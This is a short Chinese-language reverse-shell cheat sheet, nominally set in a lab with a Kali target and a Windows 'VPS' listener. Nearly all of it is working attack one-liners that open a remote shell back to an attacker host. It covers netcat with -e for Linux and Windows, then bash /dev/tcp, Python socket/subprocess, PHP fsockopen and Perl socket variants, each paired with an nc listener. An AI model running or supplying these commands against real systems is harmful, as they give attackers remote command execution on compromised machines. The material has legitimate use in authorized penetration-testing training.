1、實驗環境
Kali:192.168.32.132 //模擬靶機
Windows:192.168.32.1 //模擬公網vps
2、若靶機上存在nc,獲取反向shell:
vps攻擊機:nc -lvp 9999 // 監聽9999端口
靶機:nc 1.1.1.1 9999 -e /bin/bash // Linux正向連接公網vps1.1.1.1的9999端口
nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows
3、若靶機上不存在nc,可用如下幾種方式進行代替:
(1) Bash反彈shell
vps攻擊機:nc -lvp 6666靶機:bash -I >& /dev/tcp/192.168.32.1/6666 0>&1
(2)靶機存在Python環境,Python反彈shell
vps攻擊機:nc -lvp 6666靶機:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(3)靶機存在PHP環境,PHP反向shell:
vps攻擊機:nc -lvp 6666靶機:php -r '$sock=fsockopen("192.168.32.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
(4)靶機存在Perl環境,Perl反彈shell:
Vps攻擊機:nc -lvp 6666靶機:perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'=